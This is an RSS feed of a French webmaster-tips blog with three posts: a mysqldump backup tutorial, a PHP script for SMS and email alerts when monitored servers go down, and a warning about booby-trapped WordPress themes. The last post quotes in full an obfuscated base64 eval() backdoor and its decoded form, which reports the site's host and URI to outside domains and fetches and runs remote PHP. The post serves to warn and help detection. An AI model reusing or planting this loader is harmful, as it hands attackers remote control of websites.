<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Astuces de Webmaster &#187; sécurité</title>
	<atom:link href="http://www.astucesdewebmaster.com/tag/securite/feed" rel="self" type="application/rss+xml" />
	<link>http://www.astucesdewebmaster.com</link>
	<description></description>
	<lastBuildDate>Fri, 03 Feb 2012 11:12:16 +0000</lastBuildDate>
	<language>fr</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.1.3</generator>
		<item>
		<title>MySQLDump &#8211; Sauvegarder sa base MySQL dans un fichier (Debian ou autre)</title>
		<link>http://www.astucesdewebmaster.com/architecture/mysqldump-sauvegarder-sa-base-mysql-dans-un-fichier-debian-ou-autre-309</link>
		<comments>http://www.astucesdewebmaster.com/architecture/mysqldump-sauvegarder-sa-base-mysql-dans-un-fichier-debian-ou-autre-309#comments</comments>
		<pubDate>Wed, 06 Oct 2010 09:31:41 +0000</pubDate>
		<dc:creator>Rom's</dc:creator>
				<category><![CDATA[Architecture]]></category>
		<category><![CDATA[dump]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[sauvegarde]]></category>
		<category><![CDATA[sécurité]]></category>
		<category><![CDATA[SSH]]></category>

		<guid isPermaLink="false">http://www.astucesdewebmaster.com/?p=309</guid>
		<description><![CDATA[MySQL est une des bases de données les plus utilisées sur Linux aujourd&#8217;hui, et une des problématiques les plus récurrentes est d&#8217;exporter sa base pour une raison ou une autre (exports sur d&#8217;autres serveurs, sauvegardes,&#8230;) Une bonne commande pour faire cela est mysqldump, Pour faire cela, vous devez utiliser le shell (via putty par exemple) [...]]]></description>
			<content:encoded><![CDATA[<p>MySQL est une des bases de données les plus utilisées sur Linux aujourd&#8217;hui, et une des problématiques les plus récurrentes est d&#8217;exporter sa base pour une raison ou une autre (exports sur d&#8217;autres serveurs, sauvegardes,&#8230;)</p>
<p>Une bonne commande pour faire cela est mysqldump, Pour faire cela, vous devez utiliser le shell (via putty par exemple) pour vous connecter sur votre serveur dédié ou sur votre poste de travail sous linux. Si vous êtes sur un serveur mutualisé, il faut que vous voyez avec votre hébergeur, pourquoi pas dans votre interface d&#8217;administration si vous en avez une.</p>
<p>MySQLDump prépare le script pour (re-)créer les tables et le contenu de celles-ci, prêt à être importé plus tard.</p>
<p>La commande au plus simple : </p>
<blockquote><p>mysqldump -u [nomUtilisateur] -p [motDePasse] -B [nomBDD] > [fichierSauvegarde].dump</p></blockquote>
<p>Si vous ne saisissez pas le mot de passe mais laissez -p il vous demandera de donner le mot de passe. Si vous souhaitez éviter de dévoiler le mot de passe dans l&#8217;historique, c&#8217;est mieux.</p>
<p>Vous pouvez également ajouter une option pour optimiser la requête.</p>
<blockquote><p>mysqldump &#8211;opt -u [nomUtilisateur] -p [nomBDD] > [fichierSauvegarde].dump</p></blockquote>
<p>Ceci permettra de supprimer les tables (DROP) avant qu&#8217;elles ne soient recréées puis remplies de leur contenu.</p>
<p>Pour des raisons évidentes de taille de base de données, il est parfois bien de compresser (gzipper) le fichier extrait :</p>
<blockquote><p>mysqldump &#8211;opt -u [nomUtilisateur] -p [nomBDD] | gzip > [fichierSauvegarde].dump.gz</p></blockquote>
<p>Le jour où vous souhaitez réimporter votre base, il suffit d&#8217;inverser la flèche. (Attention à dézipper le fichier au préalable &#8211; gunzip &#8211; s&#8217;il était gzippé)</p>
<blockquote><p>mysql [nomBDD] < [fichierSauvegarde].dump</p></blockquote>
<p>Pour savoir où sont les fichiers : commande pwd pour voir où vous êtes</p>
<p>La documentation Man de MysqlDump avec toutes les options :</p>
<p><a href="http://www.manpagez.com/man/1/mysqldump/">http://www.manpagez.com/man/1/mysqldump/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.astucesdewebmaster.com/architecture/mysqldump-sauvegarder-sa-base-mysql-dans-un-fichier-debian-ou-autre-309/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Monitoring SMS (script PHP) : mettre en place en 20 minutes un système de suivi efficace</title>
		<link>http://www.astucesdewebmaster.com/dsi/monitoring-sms-script-php-mettre-en-place-en-20-minutes-un-systeme-de-suivi-efficace-198</link>
		<comments>http://www.astucesdewebmaster.com/dsi/monitoring-sms-script-php-mettre-en-place-en-20-minutes-un-systeme-de-suivi-efficace-198#comments</comments>
		<pubDate>Thu, 30 Apr 2009 23:30:36 +0000</pubDate>
		<dc:creator>Rom's</dc:creator>
				<category><![CDATA[Architecture]]></category>
		<category><![CDATA[DSI]]></category>
		<category><![CDATA[infogérance]]></category>
		<category><![CDATA[monitoring]]></category>
		<category><![CDATA[sécurité]]></category>
		<category><![CDATA[sms]]></category>

		<guid isPermaLink="false">http://www.astucesdewebmaster.com/?p=198</guid>
		<description><![CDATA[Voici le système que j&#8217;utilise aujourd&#8217;hui pour le suivi de mes serveurs dédiés. Il s&#8217;agit d&#8217;un système très simple composé des briques suivantes : - Dernière version de PHPWatch (voir le site) - API SMS &#8211; Bêta &#8211; By Orange (Accéder à l&#8217;API Manager &#8211; voir notamment le lien dans le menu de gauche API [...]]]></description>
			<content:encoded><![CDATA[<p>Voici le système que j&#8217;utilise aujourd&#8217;hui pour le suivi de mes serveurs dédiés. Il s&#8217;agit d&#8217;un système très simple composé des briques suivantes :<br />
- Dernière version de <strong>PHPWatch</strong> (<a href="http://aaron-rosenfeld.com/2008/08/28/phpwatch-release-announcement/">voir le site</a>)<br />
- <strong>API SMS</strong> &#8211; Bêta &#8211; By Orange (<a href="http://www.orangepartner.com/site/frfr/access_orange_apis/instant_apis/api_manager/p_api_manager.jsp">Accéder à l&#8217;API Manager</a> &#8211; voir notamment le lien dans le menu de gauche API SMS)<br />
- Quelques modifications sur le cron pour l&#8217;envoi d&#8217;e-mails.</p>
<p>De base, cela ne monitore que si les services Apache (si on regarde le port 80 / http) sont up ou down et non si les pages sont fonctionnelles (on ne verra pas les erreurs PHP mais on va pouvoir trouver des solutions pour cela.. bientôt)</p>
<p>Chaque SMS envoyé coûtera 10 centimes débités sur le compte. Soit le prix d&#8217;un SMS que vous envoyez avec n&#8217;importe quel mobile.</p>
<p>0. Allez sur l&#8217;<a href="http://www.orangepartner.com/site/frfr/access_orange_apis/instant_apis/api_manager/p_api_manager.jsp">interface API SMS d&#8217;Orange</a>, inscrivez-vous, créditez votre compte de 10€ pour le test (cochez éventuellement la case renouvellement automatique) et dans l&#8217;onglet &laquo;&nbsp;key&nbsp;&raquo;, notez bien votre clé API.<br />
1. Mettez en ligne le script (<a href="http://sourceforge.net/projects/phpwatch/">cliquez ici pour télécharger</a>) sur un serveur autre que celui que vous souhaitez monitorer et allez à son adresse en ajoutant /install/ à la fin et suivez les instructions (attention, il n&#8217;y a pas d&#8217;espaces de nom sur les tables&#8230;)<br />
2. Allez dans la table &laquo;&nbsp;logs&nbsp;&raquo; et ajoutez une colonne &laquo;&nbsp;message&nbsp;&raquo;. Elle servira à reccueillir lors d&#8217;un problème un arrêté de l&#8217;e-mail envoyé. Cela peut toujours servir.<br />
3. Ouvrez le fichier cron.php qui se trouve à la racine du répertoire PHPWatch et insérez le code suivant en lieu et place de l&#8217;existant :</p>
<blockquote><p>
&lt;?php<br />
// A qui on envoie des SMS en cas de problème ?<br />
$contactsMonitoringSMS=Array(<br />
				&#8216;RomainMobile&#8217;=>&#8217;33679241180&#8242;,<br />
				&#8216;CollegueMobile&#8217;=>&#8217;336XXXXXX&#8217;,</p>
<p>				);<br />
// A qui on envoie un mail en cas de problème ? (en parallèle)<br />
$contactsMonitoringEMAIL=Array(<br />
				&#8216;RomainPerso&#8217;=>&#8217;monemail@gmail.com&#8217;<br />
				,&#8217;ServiceInformatique&#8217;=>&#8217;monemailpro@maboite.com&#8217;<br />
				);</p>
<p>define(&#8216;PATH_TO&#8217;, &#8216;./&#8217;);<br />
require_once(PATH_TO . &#8216;common.php&#8217;);</p>
<p>$all = ServiceChecker::getReport();</p>
<p>foreach($all as $monitors)<br />
{<br />
	foreach($monitors as $monitor)<br />
	{<br />
		$monitor['derniereFoisOffline']=date(&laquo;&nbsp;d/m/Y H:i:s&nbsp;&raquo;,$monitor['last_offline']);<br />
//		print_r($monitor);<br />
		if(!$monitor['online'])<br />
		{<br />
			$message = $monitor['host'] . &#8216; HORS LIGNE. NOTIFICATIONS ENVOYEES. (/!\\ PHASE DE TEST, A VOIR SI C FIABLE)&#8217;;<br />
			echo $message;</p>
<p>			foreach($contactsMonitoringSMS as $prenom=>$numero) {<br />
				$phone_number = $numero;<br />
				$contactsEmail=&nbsp;&raquo;"; foreach($contactsMonitoringEMAIL as $prenom=>$email) $contactsEmail.=&nbsp;&raquo; [".$prenom."] &laquo;&nbsp;;<br />
				$contactsSMS=&nbsp;&raquo;"; foreach($contactsMonitoringSMS as $prenom=>$numero) $contactsSMS.=&nbsp;&raquo; [".$prenom."] &laquo;&nbsp;;</p>
<p>				// attention, on coupe le message à 155 caractères<br />
				$sms=$monitor['host'].&nbsp;&raquo; HS &#8211; SMS : &laquo;&nbsp;.$contactsSMS.&nbsp;&raquo; &#8211; @ : &laquo;&nbsp;.$contactsEmail;<br />
				if(strlen($sms)>159) $sms=substr($sms,0,154).&#8217;[...]&#8216;;<br />
				$text_message = urlencode($sms);<br />
				$api_access_key = &#8216;dexxxx5ac&#8217;; // Mettez votre clé API &#8211; disponible sur l&#8217;<a href="http://www.orangepartner.com/site/frfr/access_orange_apis/instant_apis/api_manager/p_api_manager.jsp">API Manager</a><br />
				$url = &laquo;&nbsp;http://sms.alpha.orange-api.net/sms/sendSMS.xml?id=$api_access_key&#038;to=$phone_number&#038;content=$text_message&nbsp;&raquo;;<br />
					$response = file_get_contents($url);<br />
					$xml = simplexml_load_string($response);<br />
					echo &laquo;&nbsp;Status: &laquo;&nbsp;,$xml->status->status_msg;</p>
<p>			}<br />
			foreach($contactsMonitoringEMAIL as $prenom=>$email) {<br />
				$to = $email;<br />
				$subject = $message;<br />
				ob_start();<br />
				echo $message;<br />
				echo &laquo;&nbsp;\nE-mails envoyes a :\n&nbsp;&raquo;;<br />
				print_r($contactsMonitoringEMAIL);<br />
				echo &laquo;&nbsp;\nSMS envoyes a :\n&nbsp;&raquo;;<br />
				print_r($contactsMonitoringSMS);<br />
				echo &laquo;&nbsp;\nDetails Erreur :\n&nbsp;&raquo;;<br />
				print_r($monitor);<br />
				$msg=ob_get_contents();<br />
				ob_end_clean();<br />
				$headers = &#8216;From: Roms Monitoring <xxxx@gmail.com>&#8216;.&nbsp;&raquo;\r\n&nbsp;&raquo;;<br />
				//$headers .= &#8216;Bcc: Moi <moi@server.com>; lui <lui@server2.com>&#8216;.&nbsp;&raquo;\r\n&nbsp;&raquo;;<br />
				$headers .= &laquo;&nbsp;\r\n&nbsp;&raquo;;<br />
				mail($to, $subject, $msg, $headers);<br />
			}<br />
			NotificationHandler::sendNotifications($monitor);<br />
		}</p>
<p>		$requete=&#8217;INSERT INTO logs (monitor, timestamp, online, message) VALUES<br />
			(&#8216; . $monitor['id'] . &#8216;, &#8216; . time() . &#8216;, &#8216; . ($monitor['online'] ? 1 : 0) . &#8216;, \&nbsp;&raquo;.addslashes($msg).&#8217;\')&#8217;;<br />
		$GLOBALS['PW_DB']->query($requete);<br />
	}<br />
}<br />
?>
</p></blockquote>
<p>4. Créez le cron qui va bien dans le crontab si vous avez un serveur dédié (autre que celui monitoré évidemment &#8211; en faisant un wget http://www.monsite.com/repertoirePHPWatch/cron.php).<br />
Si vous avez un mutualisé chez OVH (type 60gp, 90plan,&#8230;), vous pouvez aller dans votre manager OVH, rubrique &laquo;&nbsp;Mutualisé&nbsp;&raquo; > &laquo;&nbsp;Hébergement&nbsp;&raquo; > Planificateur de tâches et créer une tâche qui lance le fichier cron.php chaque heure.<br />
Si vous n&#8217;avez ni l&#8217;un ni l&#8217;autre, vous avez toujours <a href="http://www.webcron.org/">WebCron.org</a> ou <a href="http://cron.hiwit.org/">ça</a>..<br />
Ou bien, si vous avez des amis qui ont un dédié, c&#8217;est le moment de les solliciter, c&#8217;est pas bien méchant un cron..<br />
Réserves : attention, il s&#8217;agit d&#8217;une première version de développement, tous les composants sont en phase bêta. Vous aurez remarqué également que lorsqu&#8217;on dit dans le message envoyé &laquo;&nbsp;NOTIFICATIONS ENVOYEES&nbsp;&raquo;, on n&#8217;a pas vérifié que c&#8217;était effectivement le cas&#8230; Par ailleurs, on peut imaginer monitorer l&#8217;état réel d&#8217;un script en jouant avec les entêtes renvoyées ou avec des contenus de la page. Pour l&#8217;instant, cette version me convient.</p>
<p>Tous retours d&#8217;expérience bienvenus pour compléter ce tutoriel.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.astucesdewebmaster.com/dsi/monitoring-sms-script-php-mettre-en-place-en-20-minutes-un-systeme-de-suivi-efficace-198/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Thèmes WordPress : Attention aux Hacks !</title>
		<link>http://www.astucesdewebmaster.com/developpement-web/themes-wordpress-attention-aux-hacks-37</link>
		<comments>http://www.astucesdewebmaster.com/developpement-web/themes-wordpress-attention-aux-hacks-37#comments</comments>
		<pubDate>Mon, 26 Nov 2007 15:54:03 +0000</pubDate>
		<dc:creator>Rom's</dc:creator>
				<category><![CDATA[Développement Web]]></category>
		<category><![CDATA[sécurité]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://www.astucesdewebmaster.com/non-classe/themes-wordpress-attention-aux-hacks-37</guid>
		<description><![CDATA[Suite à une discussion que j&#8217;ai entretenue avec des confrères sur un forum, je vous invite, vous utilisateurs de WordPress, à la plus grande vigilance, lorsque vous téléchargez des thèmes. Il faut tout particulièrement inspecter le code à la recherche de programmes malveillants, que l&#8217;on pourrait qualifier de spywares, qui disent par exemple ceci : [...]]]></description>
			<content:encoded><![CDATA[<p>Suite à une discussion que j&#8217;ai entretenue avec des confrères sur <a href="http://www.wordpress-fr.net/support/viewtopic.php?pid=57930#p57930">un forum</a>, je vous invite, vous utilisateurs de WordPress, à la plus grande vigilance, lorsque vous téléchargez des thèmes.</p>
<p>Il faut tout particulièrement inspecter le code à la recherche de programmes malveillants, que l&#8217;on pourrait qualifier de spywares, qui disent par exemple ceci :<br />
<code>eval(base64_decode('aWYoJFIzN0MwMTREQUU1RkU0RkU1Qzc3QjY3MzVBQkMzMDkxNiA9IEBmc29ja29wZW4oInd3dy53cHNzci5jb20iLCA4MCwgJFIzMkQwMDA3MEQ0RkZCQ0NFMkZDNjY5QkJBODEyRDRDMiwgJFI1RjUyNUY1QjM5OERBREQ3Q0YwNzg0QkQ0MDYyOThFMywgMykpICRSNTBGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUgPSAid3Bzc3IiOyBlbHNlaWYoJFIzN0MwMTREQUU1RkU0RkU1Qzc3QjY3MzVBQkMzMDkxNiA9IEBmc29ja29wZW4oInd3dy53cHNuYy5jb20iLCA4MCwgJFIzMkQwMDA3MEQ0RkZCQ0NFMkZDNjY5QkJBODEyRDRDMiwgJFI1RjUyNUY1QjM5OERBREQ3Q0YwNzg0QkQ0MDYyOThFMywgMykpICRSNTBGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUgPSAid3BzbmMiOyBlbHNlICRSNTBGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUgPSAid3BzbmMyIjsgQGV2YWwoJyRSMTRBRjFCRTlFRTI2QTkwOTIxRTY0QTgyRTc4MzY3OTcgPSAxOycpOyBpZigkUjE0QUYxQkU5RUUyNkE5MDkyMUU2NEE4MkU3ODM2Nzk3IEFORCBpbmlfZ2V0KCdhbGxvd191cmxfZm9wZW4nKSkgeyAgJFJEM0ZFOUMxMEE4MDhBNTRFQTJBM0RCRDlFNjA1QjY5NiA9ICIxIjsgICRSNkU0RjE0QjMzNTI0M0JFNjU2QzY1RTNFRDlFMUIxMTUgPSAiaHR0cDovL3d3dy4kUjUwRjVGOUM4MEYxMkZGQUU4QjI0MDA1MjhFODFCMzRFLmNvbS93JFJEM0ZFOUMxMEE4MDhBNTRFQTJBM0RCRDlFNjA1QjY5Ni5waHA/dXJsPSIuIHVybGVuY29kZSgkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSkgLiImIi4gImhvc3Q9Ii4gdXJsZW5jb2RlKCRfU0VSVkVSWydIVFRQX0hPU1QnXSk7ICAkUjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRTkwID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRSNkU0RjE0QjMzNTI0M0JFNjU2QzY1RTNFRDlFMUIxMTUpOyAgQGV2YWwoJFIzRTMzRTAxN0NENzZCOUI3RTZDNzM2NEZCOTFFMkU5MCk7IH0gZWxzZSB7ICAkUkQzRkU5QzEwQTgwOEE1NEVBMkEzREJEOUU2MDVCNjk2ID0gIjAiOyAgJFI2RTRGMTRCMzM1MjQzQkU2NTZDNjVFM0VEOUUxQjExNSA9ICJodHRwOi8vd3d3LiRSNTBGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUuY29tL3ckUkQzRkU5QzEwQTgwOEE1NEVBMkEzREJEOUU2MDVCNjk2LnBocD91cmw9Ii4gdXJsZW5jb2RlKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSAuIiYiLiAiaG9zdD0iLiB1cmxlbmNvZGUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKTsgIEByZWFkZmlsZSgkUjZFNEYxNEIzMzUyNDNCRTY1NkM2NUUzRUQ5RTFCMTE1KTsgfSBmY2xvc2UoJFIzN0MwMTREQUU1RkU0RkU1Qzc3QjY3MzVBQkMzMDkxNik7'));</code><br />
c&#8217;est un code php encodé qui est traduit par base64_encode() puis executé grace à eval(). Si l&#8217;on remplace d&#8217;ailleurs eval() par print_r(), voici ce qui apparait à l&#8217;écran :<br />
<code> if($R37C014DAE5FE4FE5C77B6735ABC30916 = @fsockopen("www.wpssr.com", 80, $R32D00070D4FFBCCE2FC669BBA812D4C2, $R5F525F5B398DADD7CF0784BD406298E3, 3)) $R50F5F9C80F12FFAE8B2400528E81B34E = "wpssr"; elseif($R37C014DAE5FE4FE5C77B6735ABC30916 = @fsockopen("www.wpsnc.com", 80, $R32D00070D4FFBCCE2FC669BBA812D4C2, $R5F525F5B398DADD7CF0784BD406298E3, 3)) $R50F5F9C80F12FFAE8B2400528E81B34E = "wpsnc"; else $R50F5F9C80F12FFAE8B2400528E81B34E = "wpsnc2"; @eval('$R14AF1BE9EE26A90921E64A82E7836797 = 1;'); if($R14AF1BE9EE26A90921E64A82E7836797 AND ini_get('allow_url_fopen')) { $RD3FE9C10A808A54EA2A3DBD9E605B696 = "1"; $R6E4F14B335243BE656C65E3ED9E1B115 = "http://www.$R50F5F9C80F12FFAE8B2400528E81B34E.com/w$RD3FE9C10A808A54EA2A3DBD9E605B696.php?url=". urlencode($_SERVER['REQUEST_URI']) ."&amp;". "host=". urlencode($_SERVER['HTTP_HOST']); $R3E33E017CD76B9B7E6C7364FB91E2E90 = @file_get_contents($R6E4F14B335243BE656C65E3ED9E1B115); @eval($R3E33E017CD76B9B7E6C7364FB91E2E90); } else { $RD3FE9C10A808A54EA2A3DBD9E605B696 = "0"; $R6E4F14B335243BE656C65E3ED9E1B115 = "http://www.$R50F5F9C80F12FFAE8B2400528E81B34E.com/w$RD3FE9C10A808A54EA2A3DBD9E605B696.php?url=". urlencode($_SERVER['REQUEST_URI']) ."&amp;". "host=". urlencode($_SERVER['HTTP_HOST']); @readfile($R6E4F14B335243BE656C65E3ED9E1B115); } fclose($R37C014DAE5FE4FE5C77B6735ABC30916);</code><br />
D&#8217;après <a href="http://5thirtyone.com/archives/870#comment-57473">5thirtyone.com</a>, il s&#8217;agirait d&#8217;un script qui permet d&#8217;injecter du code dans votre blog/site.. sympa non ?</p>
<p>Ce sont notamment les thèmes proposés par ce site : <a href="http://www.wpsphere.com/6.html" rel="nofollow">http://www.wpsphere.com/6.html</a> qui reprennent de vrais thèmes et le propriétaire ajoute cette petite ligne maligne pour pouvoir faire à peu près ce qu&#8217;il veut du site à partir du moment où il peut y exécuter du PHP et qu&#8217;il sait comment est codé WordPress côté serveur.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.astucesdewebmaster.com/developpement-web/themes-wordpress-attention-aux-hacks-37/feed</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
	</channel>
</rss>

